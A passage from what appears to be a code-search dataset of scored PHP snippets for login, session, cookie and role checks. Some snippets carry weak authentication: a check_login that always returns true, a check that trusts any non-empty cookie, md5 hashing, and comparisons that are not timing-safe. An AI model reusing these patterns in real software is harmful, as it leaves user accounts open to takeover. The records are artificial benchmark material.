"b753806c8c2f1c7b308a7acef954c733", "score": "0.66675943", "text": "public function _loggedIn(){\n\t\treturn ($this->Auth->user() ? true : false);\n\t}", "title": "" }, { "docid": "2e4530bdc4f8366d926c9b5eb12a7894", "score": "0.6654268", "text": "public function checkSessionOrCookie()\n {\n \n @$logged_in = $_SESSION[\"logged_in\"];\n @$email = $_SESSION[\"email\"];\n if(isset($email) && isset($logged_in) ){\n if($logged_in==TRUE){\n return TRUE; \n }else{\n return FALSE; \n } \n }else{\n $cookieData = get_cookie($cookie_name);\n if($cookieData==\"\"){\n return FALSE;\n }else{\n $total = $this->admin_mdl->check_admin_cookie($cookieData);\n if($total==0){\n return FALSE;\n }else{\n $data = $this->admin_mdl->select_results($cookieData);\n foreach ($data as $key => $value) {\n $user_email = $value->email;\n } \n $hashed_username = md5($user_email);\n $session_credentials = $this->setSession($hashed_username);\n $this->session->set_userdata($session_credentials);\n return TRUE;\n }\n }\n \n }\n }", "title": "" }, { "docid": "a2e0a90c1a679ef349b7441a459473f7", "score": "0.6650091", "text": "function isLoggedIn()\n {\n $isLoggedIn = $this->session->userdata('isLoggedIn');\n \n if(!isset($isLoggedIn) || $isLoggedIn != TRUE)\n {\n $this->load->view('login');\n }\n else\n {\n redirect('/dashboard');\n }\n }", "title": "" }, { "docid": "f79ed1ba73b6f4e0a747893a61a4e852", "score": "0.6642175", "text": "public function loggedIn()\n {\n try {\n return $this->_auth->accessTokenValid() || $this->refresh();\n } catch (Exception $e) {\n return false;\n }\n }", "title": "" }, { "docid": "6729ceafa4960b78fe7100a698b02a6e", "score": "0.66354907", "text": "public function authenticate() {\n\t\t\t\tif(!$_COOKIE['uniqid'] || !$_SESSION['uniqid'])\n\t\t\t\t\t\treturn false;\n\t\t\t\tif($_COOKIE['uniqid'] == $_SESSION['uniqid'])\n\t\t\t\t\t\treturn true;\n\t\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "65e3246870e242344934f2d34598e2cd", "score": "0.6631854", "text": "public static function isLogin()\n {\n // dd(session()->get('user')['user_id']);\n if ((session()->has('user'))) {\n $client = new \\GuzzleHttp\\Client();\n $url = config('app.auth') . '/api/getsession/' . session()->get('user')['session_id'];\n $response = $client->get($url);\n $data = $response->getBody()->getContents();\n if ($data == '\"yes\"') return true;\n else return false;\n } else return false;\n }", "title": "" }, { "docid": "d79180f17c518411bd0e82cbaa984319", "score": "0.663077", "text": "public function authenticate() {\n\t\tif(!$_COOKIE['uniqid'] || !$_SESSION['uniqid'])\n\t\t\treturn false;\n\t\tif($_COOKIE['uniqid'] == $_SESSION['uniqid'])\n\t\t\treturn true;\n\t\treturn false;\n\t}", "title": "" }, { "docid": "2c0444f2fe4da3d04d9724d4b9fa4be4", "score": "0.66295886", "text": "public function isLoggedIn()\r\n {\r\n return isset($_SESSION['is_logged_in']) || $this->cookieLoggin() ? true : false;\r\n }", "title": "" }, { "docid": "7af7de287b153d6abec7107a777ad1a1", "score": "0.6619588", "text": "public static function isIdentiy(){\n if(!isset($_SESSION['user_identity'])){\n header(\"Location:\".base_url);\n }else{\n return true;\n }\n }", "title": "" }, { "docid": "a219d69b54a9be3288b56e0adcf73226", "score": "0.66135436", "text": "public function check_login() {\n return true;\n }", "title": "" }, { "docid": "a81d52a3de13ca87228e3923ac24f8a2", "score": "0.66111594", "text": "function authenticated() {\n return isset($_COOKIE['openid']) && wasUserValidatedBefore($_COOKIE['openid']);\n}", "title": "" }, { "docid": "e0f4df85ef1765fa9ac4c43821b171ed", "score": "0.66081035", "text": "public static function frontend_user_logged_in(){\n $is_logged_in = false;\n \n if(Session::has('scoutpad_frontend_user_id') && Session::has('scoutpad_frontend_user_verified')){\n $is_logged_in = true;\n }\n \n return $is_logged_in;\n }", "title": "" }, { "docid": "b8e42e0bb39101dcb41d170fac171d3d", "score": "0.66025656", "text": "public function isLoggedIn() {\n return isset($this->userModel)\n and (isset($this->user)\n or $this->checkSession()\n or $this->checkCookie()\n or $this->checkStateless());\n }", "title": "" }, { "docid": "3b8789273a06260e41b96029880d6ed8", "score": "0.6601624", "text": "function loggedin(){\n\t\tif(isset($_SESSION['user_id'])){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "d23fad83b1f1af5bf1566c9831ccb158", "score": "0.65977013", "text": "public static function requireLogin(){\n if(!self::isLogged()){\n header('location: login.php');\n exit;\n }\n }", "title": "" }, { "docid": "b5ecbfbfdd9718edef68d5678a27d00a", "score": "0.6597433", "text": "public static final function checkCookie() {\n\n\t\ttry {\n\t\t\n\t\t\tSiteCookie::extract('vcd_cookie');\n\n\t\t\t// Check if we find the desired values in the cookie\n\t\t\tif (isset($_COOKIE['session_id']) && isset($_COOKIE['session_uid'])) {\n\t\t\t\t$old_sessionid = $_COOKIE['session_id'];\t\t\t\n\t\t\t\t$user_id \t = $_COOKIE['session_uid'];\n\t\t\t\t$session_time = $_COOKIE['session_time'];\n\t\t\t\t\n\t\t\t\tif (UserServices::isValidSession($old_sessionid, $session_time, $user_id)) {\n\t\t\t\t\t\n\t\t\t\t\t//Update users cookie\n\t\t\t\t\tSiteCookie::extract(\"vcd_cookie\");\n\t\t\t\t\tif (isset($_COOKIE['language'])) {\n\t\t\t\t\t\t$sess_lang = $_COOKIE['language'];\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$Cookie = new SiteCookie(\"vcd_cookie\");\n\t\t\t\t\t$Cookie->clear();\n\t\t\t\t\t$Cookie->put(\"session_id\", $old_sessionid);\t\n\t\t\t\t\t$Cookie->put(\"session_time\", VCDUtils::getmicrotime());\n\t\t\t\t\t$Cookie->put(\"session_uid\", $user_id);\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$Cookie->put(\"language\", $sess_lang);\n\t\t\t\t\t$Cookie->set();\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t// And finally log the user in and add userObj to session\n\t\t\t\t\t$user = UserServices::getUserByID($user_id);\n\t\t\t\t\t\n\t\t\t\t\t// Check if user has been deleted from last visit .\n\t\t\t\t\tif ($user instanceof userObj ) {\n\t\t\t\t\t\t$_SESSION['user'] = $user;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Invalidate the cookie ...\n\t\t\t\t\t\t$Cookie->clear();\n\t\t\t\t\t\t$Cookie->put(\"language\", $sess_lang);\n\t\t\t\t\t\t$Cookie->set();\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Throw new Exception to notify user of the deleted account.\n\t\t\t\t\t\tVCDException::display(\"User account has been disabled.\");\n\t\t\t\t\t\tredirect();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t// Check if we are supposed to log this event ..\n\t\t\t\t\tif (VCDLog::isInLogList(VCDLog::EVENT_LOGIN )) {\n\t\t\t\t\t\tVCDLog::addEntry(VCDLog::EVENT_LOGIN, \"User authenticated from cookie\");\n\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t} catch (Exception $ex) {\n\t\t\tthrow $ex;\n\t\t}\n\t}", "title": "" }, { "docid": "e70d30ff55d3f6c373a90a94997ed29c", "score": "0.659514", "text": "function logged_check(){\n\tif(!logged_in()){\n\t\tredirect('');\n\t}\n}", "title": "" }, { "docid": "fc02b6646516c4c8bbf25d8b86d3b0a0", "score": "0.6593599", "text": "protected function logged_in() {\n\t\tif ($_SESSION['logged_in'] == true) {\n\t\t\treturn true;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "db5757c46694f81f7a1379ca7e68910c", "score": "0.6591437", "text": "private function logIn()\n {\n $cookie = Cookie::get('rememberMe');\n if (!empty($cookie)) {\n list($user, $token, $mac) = explode(':', $cookie);\n\n if (!hash_equals(\n hash_hmac(\n 'sha256',\n $user . ':' . $token,\n Config::get('secretKey')\n ),\n $mac\n )\n ) {\n return;\n }\n\n $userToken = $this->getToken($user);\n if (hash_equals($userToken, $token)) {\n Session::save('id', $user);\n\n return;\n }\n }\n }", "title": "" }, { "docid": "a90c173a0999cb45c45042ab55e9145d", "score": "0.65892285", "text": "protected function redirectToLoginIfNotLoggedIn() {\n }", "title": "" }, { "docid": "6f29752ded53de6582fc33ed31a3596d", "score": "0.6583588", "text": "public function is_logged_in() {\n return isset($_SESSION['user_login']) ? true : false;\n }", "title": "" }, { "docid": "e62cd8dd41d0dffb9be0344d0cf73264", "score": "0.65832675", "text": "private function check_login()\n {\n return isset($_SESSION['customer']);\n }", "title": "" }, { "docid": "dec558802c587940d68400c1d94d62cc", "score": "0.65818346", "text": "public function checkLogin()\n {\n $user = isset($_SESSION['uname']) ? $_SESSION['uname'] : null;\n\t\t\t\tisset($user) or die(\"<script>window.location.href = 'index.php'</script>\");\n\t }", "title": "" }, { "docid": "f5cbfbcfb983dfa4e3813a40fd4246bf", "score": "0.65693396", "text": "function isLoggedIn() {\r\n\t\t//global $_USER;\r\n\t\tglobal $_CONF;\r\n\r\n\t\t//return $_USER ? $_USER['uid'] : null;\r\n\t\treturn isset($_COOKIE[$_CONF['cookie_name']]) ? $_COOKIE[$_CONF['cookie_name']] : NULL;\r\n\t}", "title": "" }, { "docid": "994b0726da0031af5c0fae9733dce73a", "score": "0.6563993", "text": "function logInRequired()\n {\n if (loggedIn()) {\n return true;\n } else {\n header('Location: ' . ADMINURL . 'login.php');\n }\n return false;\n }", "title": "" }, { "docid": "485af05a64830bf60bf3d1ff7bfe2aab", "score": "0.65572125", "text": "public function isLoginRequired()\n {\n return true;\n }", "title": "" }, { "docid": "1ebdf745911b1574330da53c58cad8f5", "score": "0.65493995", "text": "static function isLoggedIn() {\r\n if (!isset($_SESSION['userId']) AND !isset($_COOKIE['rememberme'])) {\r\n return false;\r\n } else if (!isset($_SESSION['userId'])) {\r\n $cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : false;\r\n if ($cookie) {\r\n list ($id, $token, $check) = explode(':', $cookie);\r\n if (!timingSafeCompare(hash('sha256', $id . ':' . $token), $check)) {\r\n return false;\r\n } else {\r\n $usertoken = user::get_tokenById($id);\r\n if (timingSafeCompare($usertoken, $token)) {\r\n $_SESSION['userId'] = $id;\r\n $user = user::get_userById($_SESSION['userId']);\r\n return $user;\r\n }\r\n }\r\n }\r\n } else {\r\n $user = user::get_userById($_SESSION['userId']);\r\n return $user;\r\n }\r\n }", "title": "" }, { "docid": "47867e395ab58e2c45326826597b5586", "score": "0.6547164", "text": "public function checkCredentials() {\r\n\t\tif (isset($_SESSION['loggedIn'])) { \r\n\t\t\t$this->loggedIn = $_SESSION['loggedIn']; \r\n\t\t}\r\n\t\t// else do the login \r\n\t\telseif ($this->loggedIn === false) {\r\n\t\t\t$this->login();\r\n\t\t} \r\n\t}", "title": "" }, { "docid": "8a22851b9e0d4fc284597cd2cc22d14c", "score": "0.6544739", "text": "function checkCookie() {\n if(isset($_COOKIE[$this->cookiename])) { //if a cookie is set\n $check = $this->dbmsC->select(\"people\", \"cookiehash,cookiesalt,cookietime,email\", \"where cookiehash='\".$_COOKIE[$this->cookiename].\"'\");\n \n if(($check == 404) || ($check == 406) || (!($check))) return false;\n //if cookie exists time check\n if($check['cookietime'] < time()) {\n echo \"time fail \".$check['cookietime'];\n return false;\n }\n //if cookie exists, sanity check.\n $cookiesalt = $check['cookiesalt'];\n if (sha1($cookiesalt.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']) == $_COOKIE[$this->cookiename]) {\n $this->auth = $check['email'];\n return $check['email'];\n }\n else return false;\n }\n return false;\n }", "title": "" }, { "docid": "99cc11b885b3ac629e7d47b2904444aa", "score": "0.6542409", "text": "public static function isAuth() {\r\n if(!empty($_COOKIE['isAuthUser'])) {\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "4e804da08fe6b9e21414e07743755d2b", "score": "0.6541643", "text": "public function isLoggedIn()\n {\n return $this->session->has(\"user\");\n }", "title": "" }, { "docid": "122cbb035b939bde6ca50e61132585c1", "score": "0.65403336", "text": "private function _checkIfUserIsLoggedIn() {\n if (!$this->_loggedIn) {\n $this->_returnResponse('fail', 'Please log in to continue', array('redirect' => URL::to('login?next=settings')));\n }\n }", "title": "" }, { "docid": "9b88e48a90b4bc8dd047647890847a0b", "score": "0.65292317", "text": "static function requireLogin($redirect = '/sign-in') {\n\t\t\tglobal $site;\n\t\t\theader(\"Expires: on, 01 Jan 1970 00:00:00 GMT\");\n\t\t\theader(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\n\t\t\theader(\"Cache-Control: no-store, no-cache, must-revalidate\");\n\t\t\theader(\"Cache-Control: post-check=0, pre-check=0\", false);\n\t\t\theader(\"Pragma: no-cache\");\n\t\t\t# Check user\n\t\t\tif ( self::$user_id ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif ($redirect) {\n\t\t\t\t$site->redirectTo( $site->urlTo($redirect) );\n\t\t\t\texit;\n\t\t\t}\n\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "8fb31a9650b1cb2db8bded48cadfaf11", "score": "0.6527067", "text": "static function isAuthenticated() {\n\n if (ModuleManager::has('lepton.mvc.session')) {\n if (session::get(User::KEY_USER_AUTH,null) != null) {\n return true;\n }\n return false;\n }\n\n }", "title": "" }, { "docid": "5df1c0134c47f3d5ab16853a927034e9", "score": "0.6520045", "text": "static function verifyLogin() : bool {\r\n if(!empty(session_id()) && isset($_SESSION['user'])) {\r\n return true;\r\n }\r\n header(\"Location: Lab09-MMa-94346-login\");\r\n return false;\r\n }", "title": "" }, { "docid": "06425dc047649eb4f9d9f558a1402f49", "score": "0.6496186", "text": "public function isLogin(){\n\t\tif(isset($_SESSION['user_id'])){\n\t\t\treturn TRUE;\n\t\t}else{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "d13afe834a49ca412535a4774a455a3a", "score": "0.64893967", "text": "private function if_user_logged_in()\n {\n\n session_start();\n\n if(!empty($_SESSION)){\n\n if(isset($_SESSION[\"user_id\"]) && isset($_SESSION[\"user_type\"])){\n \n return true;\n\n }else{\n\n return false;\n }\n\n }else{\n\n return false;\n }\n }", "title": "" }, { "docid": "8fe4af15707e7e4f62c1a514c190bee9", "score": "0.6488597", "text": "public function logged() {\n $ret = false;\n\n if (isset($_SESSION['auth'])) {\n $ret = true;\n }\n\n return $ret;\n }", "title": "" }, { "docid": "ebb0b729b60f3a03fe187b3a22a70048", "score": "0.6479533", "text": "function logIn()\n {\n // Global Check For Session/Cookie\n if (! (isset($_COOKIE['snow_id'], $_COOKIE['snow_sess'], $_COOKIE['auth_token'], $_SERVER['HTTP_USER_AGENT']) && LOGIN_ENABLED))\n {\n return false;\n }\n \n // Get the user-agent string of the user.\n $_username = $this->login_decrypt($_COOKIE['snow_id']);\n $_uniqueid = $this->login_decrypt($_COOKIE['snow_token']);\n $_sess = hash('sha512', $_username . $_SERVER['HTTP_USER_AGENT'] . $_uniqueid . AUTH);\n \n // Make sure tokens match\n if ($_sess != $_COOKIE['snow_sess'])\n {\n return false;\n }\n\n // Get user from db\n $_user = new User($_username);\n \n // Ensure user exists\n if (! $_user->exists())\n {\n return false;\n }\n \n // Reload for admin\n if ($_user->isAdmin())\n {\n $_user = new Admin($_username);\n }\n \n // Check sessions\n $_auth = $_COOKIE['auth_token'];\n \n // Get session from auth\n $this->load($_auth);\n \n // Make sure it exists\n if (! $this->exists())\n {\n return false;\n }\n \n // Make sure session user and logged user are the same\n if ($this->user->id != $_user->id) \n {\n return false;\n }\n \n // Update session\n return ($this->append() != false);\n }", "title": "" }, { "docid": "ae905bec93255ba3a4553930278cc4ab", "score": "0.64771944", "text": "function is_logged_in() {\r\n return $this->session->userdata('user_id') != false;\r\n }", "title": "" }, { "docid": "80af36a75f94ea912411a55b46e4c450", "score": "0.64760727", "text": "public function isAuthenticated(){\r\n\t\tif($this->session->get('member_loggedIn')){\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\telse{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" } ]
9fe23728f0913f6caca479a261c8bc81
ANONYMOUS exposed ROLE_USER exposed ROLE_ADMIN exposed
[ { "docid": "77f2f02849067234bb04ef1d8ae5b811", "score": "0.0", "text": "public function gg() { return true; }", "title": "" } ]
[ { "docid": "9ae969ad60735c6e6a7e1d77e2993778", "score": "0.6685076", "text": "public function accountInfo()\n {\n // logged in, or are logged in via a remember me cookie\n $this->denyAccessUnlessGranted('IS_AUTHENTICATED_REMEMBERED');\n\n // ...\n }", "title": "" }, { "docid": "d3d437e1d9ae00b8d447cf6256c1ca0f", "score": "0.6553061", "text": "public function userAuthAction() {\n\t\t$securityContext = $this->container->get('security.context');\n\t\tif( $securityContext->isGranted('IS_AUTHENTICATED_REMEMBERED') ){\n\t\t\treturn new Response('LOGGED',200);\t\t\t\n\t\t} else {\t\t\t\n\t\t\treturn new Response('ANONYMOUS',200); \t\t\t\n\t\t}\n }", "title": "" }, { "docid": "dcfe8c71f005c6a5ac499cc42855d5c2", "score": "0.6059818", "text": "public function access(NodeInterface $node) {\n $nid = $node->getOwnerId();\t\n $user = \\Drupal::currentUser(); \n $uid = $user->id();\n \n if ($nid === $uid && $user->isAuthenticated()) {\n return AccessResult::allowed();\n }\n else {\n return AccessResult::forbidden();\n }\n }", "title": "" }, { "docid": "c33d51faad750b2c2e8a3a6eecdef3be", "score": "0.5735015", "text": "public static function getUserRole();", "title": "" }, { "docid": "d62aeb6874353b8f92323ae3dc1b8c53", "score": "0.57126164", "text": "protected function _authenticated()\n {\n }", "title": "" }, { "docid": "47116b57d47f98656673134645eaca66", "score": "0.5544263", "text": "function authorizeAdmin() {\n authorizeUser();\n $personId = sessionGet('personID', 0);\n $account = getPeople($personId);\n \n // If the user is an employee, he is automatically an admin.\n return (bool) ($account['IsEmployee'] ?? 0);\n}", "title": "" }, { "docid": "2a6258bf5bfe4c4682dafb2a3ef86135", "score": "0.54905367", "text": "function access() {\n return user_access('administer comments');\n }", "title": "" }, { "docid": "9045fb2710c4e2ad50b62ca8cc7dd616", "score": "0.54869366", "text": "public function roles_protected()\n {\n return false;\n }", "title": "" }, { "docid": "6c3247c0a582d28ea128b6ea7e080c16", "score": "0.54629165", "text": "function access() {\n // Needs permission to administer comments in general.\n return user_access('administer comments');\n }", "title": "" }, { "docid": "88ab0792d6d313905d0675ed430132fe", "score": "0.545386", "text": "public function isUserGranted(\\Symfony\\Component\\Security\\Core\\User\\UserInterface $user);", "title": "" }, { "docid": "83f2b178a723bf39e6199587580cd50c", "score": "0.5446584", "text": "public function iAmAnonymousUser()\n {\n $this->logOut();\n }", "title": "" }, { "docid": "9e8631132794791864bd80912d553a3b", "score": "0.54387265", "text": "protected function control()\n {\n $this->getAcl()->allow('anonymous', 'Application');\n $this->getAcl()->deny('anonymous', 'Admin');\n \n $this->getAcl()->allow('administrator');\n }", "title": "" }, { "docid": "829d84c0b5b3115ec435adaf6d8dfbf6", "score": "0.5428984", "text": "public function getDefaultRole();", "title": "" }, { "docid": "829d84c0b5b3115ec435adaf6d8dfbf6", "score": "0.5428984", "text": "public function getDefaultRole();", "title": "" }, { "docid": "4e754f7db4091cd39ccdbd055975ccd0", "score": "0.54259384", "text": "public function roles_protected() {\n return false;\n }", "title": "" }, { "docid": "632bccd13fa1be07eafe0b0fc540537b", "score": "0.5383867", "text": "function AllowAnonymousUser() {\r\n\t\tswitch (@$this->PageID) {\r\n\t\t\tcase \"add\":\r\n\t\t\tcase \"register\":\r\n\t\t\tcase \"addopt\":\r\n\t\t\t\treturn FALSE;\r\n\t\t\tcase \"edit\":\r\n\t\t\tcase \"update\":\r\n\t\t\tcase \"changepwd\":\r\n\t\t\tcase \"forgotpwd\":\r\n\t\t\t\treturn FALSE;\r\n\t\t\tcase \"delete\":\r\n\t\t\t\treturn FALSE;\r\n\t\t\tcase \"view\":\r\n\t\t\t\treturn FALSE;\r\n\t\t\tcase \"search\":\r\n\t\t\t\treturn FALSE;\r\n\t\t\tdefault:\r\n\t\t\t\treturn FALSE;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "e7e4b113968c189853d0d641b073765f", "score": "0.53804874", "text": "private function determineNoAdminRole()\n {\n if ($this->isGranted(EntityDir\\User::ROLE_PA_ADMIN)) {\n return EntityDir\\User::ROLE_PA_TEAM_MEMBER;\n } elseif ($this->isGranted(EntityDir\\User::ROLE_PROF_ADMIN)) {\n return EntityDir\\User::ROLE_PROF_TEAM_MEMBER;\n }\n\n return $this->createAccessDeniedException('User role not recognised');\n }", "title": "" }, { "docid": "8b5e33dda7ae7b4c1301e4c046103207", "score": "0.53593785", "text": "public function getAuthenticatedUser();", "title": "" }, { "docid": "c6926277111d2515e3665489ba17541f", "score": "0.53459156", "text": "public function testRoleDefaultPrivilegeDeny()\n {\n $roleGuest = new Zend_Acl_Role('guest');\n $this->_acl->addRole($roleGuest);\n $this->assertFalse($this->_acl->isAllowed($roleGuest, null, 'somePrivilege'));\n }", "title": "" }, { "docid": "333766f12740ea0f7fc34ee28f5ad40e", "score": "0.53454477", "text": "public function defaultAction()\n {\n //Maybe this could be solved by a statement in security.yml too\n $securityContext = $this->container->get('security.authorization_checker');\n if ($securityContext->isGranted('IS_AUTHENTICATED_REMEMBERED') || $securityContext->isGranted('IS_AUTHENTICATED_FULLY ')) {\n return $this->redirect($this->generateUrl('welcome'));\n } else {\n return $this->redirect($this->generateUrl('fos_user_security_login'));\n }\n }", "title": "" }, { "docid": "5205741ec7a3ab0f31f7451c9fe301c1", "score": "0.53375137", "text": "public function isAllowAnonymous();", "title": "" }, { "docid": "5678e6132e7ff68b22fd9a0536a4362a", "score": "0.533352", "text": "public function authorise()\n\t{\n\t\treturn parent::authorise();\n\t}", "title": "" }, { "docid": "7f110cc8ef1bd1d6d8962f4263ef8126", "score": "0.53237975", "text": "function AllowAnonymousUser() {\n\t\tswitch (@$this->PageID) {\n\t\t\tcase \"add\":\n\t\t\tcase \"register\":\n\t\t\tcase \"addopt\":\n\t\t\t\treturn FALSE;\n\t\t\tcase \"edit\":\n\t\t\tcase \"update\":\n\t\t\tcase \"changepwd\":\n\t\t\tcase \"forgotpwd\":\n\t\t\t\treturn FALSE;\n\t\t\tcase \"delete\":\n\t\t\t\treturn FALSE;\n\t\t\tcase \"view\":\n\t\t\t\treturn FALSE;\n\t\t\tcase \"search\":\n\t\t\t\treturn FALSE;\n\t\t\tdefault:\n\t\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "7f110cc8ef1bd1d6d8962f4263ef8126", "score": "0.53237975", "text": "function AllowAnonymousUser() {\n\t\tswitch (@$this->PageID) {\n\t\t\tcase \"add\":\n\t\t\tcase \"register\":\n\t\t\tcase \"addopt\":\n\t\t\t\treturn FALSE;\n\t\t\tcase \"edit\":\n\t\t\tcase \"update\":\n\t\t\tcase \"changepwd\":\n\t\t\tcase \"forgotpwd\":\n\t\t\t\treturn FALSE;\n\t\t\tcase \"delete\":\n\t\t\t\treturn FALSE;\n\t\t\tcase \"view\":\n\t\t\t\treturn FALSE;\n\t\t\tcase \"search\":\n\t\t\t\treturn FALSE;\n\t\t\tdefault:\n\t\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "abe4f8e266c5a91e233f95eb55541f85", "score": "0.5312574", "text": "private function enforceSecurity()\n {\n // old way:\n //if (false === $this->get('security.authorization_checker')->isGranted('ROLE_USER')) {\n // throw $this->createAccessDeniedException('access denied');\n //}\n\n if (false === $this->get('security.authorization_checker')->isGranted('IS_AUTHENTICATED_FULLY')) {\n throw $this->createAccessDeniedException('access denied');\n }\n }", "title": "" }, { "docid": "a6e1c37283b2be0a196f4a03dc179479", "score": "0.5302539", "text": "function is_admin() {\n if (isset($_SESSION['role']) && is_logged_in()) {\n if ($_SESSION['role'] == 'ADMIN' || $_SESSION['role'] == 'SUPER_ADMIN'){\n return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "69c54f582f862b6ae8df7edbb1f646d0", "score": "0.5286301", "text": "public function testRolePrivilegeAllow()\n {\n $roleGuest = new Zend_Acl_Role('guest');\n $this->_acl->addRole($roleGuest)\n ->allow($roleGuest, null, 'somePrivilege');\n $this->assertTrue($this->_acl->isAllowed($roleGuest, null, 'somePrivilege'));\n }", "title": "" }, { "docid": "08fc2ccf4c6e5a78677d22bd97118dab", "score": "0.52848285", "text": "public function authorize()\n {\n return Auth::user()->UserRole == \"Administratorius\";\n }", "title": "" }, { "docid": "dbf265a2ce85fe0a38f2806a1b6fa2ac", "score": "0.52827275", "text": "public function authorize() {\n return user()->nivel_acesso == 'A';\n }", "title": "" }, { "docid": "5404771dddbe2687af12a1ebce1797c9", "score": "0.5274323", "text": "private function securityControle() {\n if (\n !$this->getUser()->hasRole('ROLE_ADMIN')\n ) {\n // throw $this->createAccessDeniedException('Accès interdit');\n return $this->redirect($this->generateUrl('ventes_accueil'));\n }\n }", "title": "" }, { "docid": "e98a0c3eb19eada24fc8090453088275", "score": "0.52725565", "text": "function canAccess($permisoNecesario)\r\n{\r\n\t@session_start();\r\n\treturn @isset($_SESSION[\"user\"]) && ($_SESSION[\"tipopersona\"]== 'Administrador' || in_array($permisoNecesario,$_SESSION[\"permisos\"]));\r\n}", "title": "" }, { "docid": "d07aa60d1bf541432e04ad339daf685d", "score": "0.52615494", "text": "function notAdmin(){\n if(\n $this->session->user &&\n $this->session->user->getRole()->getName() !== \"admin\"\n ){\n return $this->redirect(\"/\");\n }\n\n }", "title": "" }, { "docid": "8b7480cf37cfde80452c5cfa47b6b27d", "score": "0.5248184", "text": "function index()\n {\n // - else return render of static index.html\n if ( $this->getUser() && array_search(\"ROLE_USER\", $this->getUser()->getRoles()) !== false ) {\n return $this->redirect($this->generateUrl('dashboard'));\n }\n else {\n return $this->render('default/index.html.twig');\n }\n }", "title": "" }, { "docid": "6e8d2dcbbd8946c3bc80ea99b4739170", "score": "0.52306926", "text": "abstract public function authenticated();", "title": "" }, { "docid": "2541bee46dc5cb54043aa6383b64bc47", "score": "0.52185243", "text": "protected function userIsPrivileged()\n {\n if ($user = $this->getLoggedInUser()) {\n $roles = $user->getRoles();\n return !(!in_array('ROLE_AGENCY_OWNER', $roles) && !in_array('ROLE_SUPER_ADMIN', $roles));\n }\n return FALSE;\n }", "title": "" }, { "docid": "75738e132b029f758845d45dd71e0673", "score": "0.52132165", "text": "function getRoles()\n {\n return $this->user ? [$this->user->getRole()] : [self::UNAUTHENTICATED_ROLE];\n }", "title": "" }, { "docid": "ef0c0d8973c22823e8561409b5086776", "score": "0.52110976", "text": "function getRoles()\n {\n if ($this->getAdmin()) {\n return array('ROLE_ADMIN');\n }\n return array('ROLE_USER');\n }", "title": "" }, { "docid": "7b1d284c7eddc8006b8a702a7da9b8d8", "score": "0.51885915", "text": "function AdministratorsOnly() {\n\t\tglobal $tc_db, $smarty, $tpl_page;\n\t\t\n\t\tif (!$this->CurrentUserIsAdministrator()) {\n\t\t\texitWithErrorPage('That page is for admins only.');\n\t\t}\n\t}", "title": "" }, { "docid": "b42ee39ce5c6762309bec959140bc847", "score": "0.5180583", "text": "protected function _adminsOnly() {\n $current_user = current_user();\n if ($current_user->role != 'super' && $current_user->role != 'admin') {\n throw new Omeka_Controller_Exception_403;\n }\n }", "title": "" }, { "docid": "a919a3ebcf6ab84bc651c1cb80b8d773", "score": "0.51634365", "text": "public function __construct() {\n \n // logged in user cannot access \n $this->authorize();\n }", "title": "" }, { "docid": "7b6b84083f2832161a5e1c6cedb49e8d", "score": "0.51613766", "text": "protected function getUserRole(){\n \n //bu default the DDataAcl::DEFAULT_ROLE is returned\n return DDataAcl::DEFAULT_ROLE;\n }", "title": "" }, { "docid": "20727e8a5e9babe72d6f6eb854dc53e1", "score": "0.51556927", "text": "function isAdmin()\n {\n if($this->role != ROLE_ADMIN) { return true; }\n else {return false; }\n }", "title": "" }, { "docid": "223e6ca3aa5e5a4c53dfb2783a0a5ae5", "score": "0.5153314", "text": "public function viewAny(User $user)\n {\n return $user->isGranted(User::ROLE_SUPERADMIN);\n }", "title": "" }, { "docid": "78cc86d3c304e1e70609a3eee40e892b", "score": "0.5142474", "text": "public function testRoleDefaultDeny()\n {\n $roleGuest = new Zend_Acl_Role('guest');\n $this->_acl->addRole($roleGuest);\n $this->assertFalse($this->_acl->isAllowed($roleGuest));\n }", "title": "" }, { "docid": "92efe7eeaada81aee57771f47f0dac67", "score": "0.51354235", "text": "public function autorizar(){\n $auth=Yii::$app->authManager;\n \n //Crea roles de usuarios\n $admin=$auth->createRole('administrador');\n $gestor=$auth->createRole('gestor');\n $operador=$auth->createRole('operador');\n \n //Genera lista de roles\n $auth->add($admin);\n $auth->add($gestor);\n $auth->add($operador);\n \n //Creando acciones para controlar\n $ver=$auth->createPermission('ver');\n $crear=$auth->createPermission('editar');\n $editar=$auth->createPermission('crear');\n $borrar=$auth->createPermission('borrar');\n \n //Agrega lista de acciones\n $auth->add($ver);\n $auth->add($crear);\n $auth->add($editar);\n $auth->add($borrar);\n \n //Asignando permisos de acciones por rol\n //Administador\n $auth->addChild($admin,$ver);\n $auth->addChild($admin,$crear);\n $auth->addChild($admin,$editar);\n $auth->addChild($admin,$borrar);\n //Gestor\n $auth->addChild($gestor,$ver);\n $auth->addChild($gestor,$crear);\n $auth->addChild($gestor,$editar);\n //Operador\n $auth->addChild($operador,$ver);\n \n //\n $auth->assign($admin, 1); //K\n $auth->assign($gestor, 2); //T\n $auth->assign($operador, 3); //D\n //Sooolo 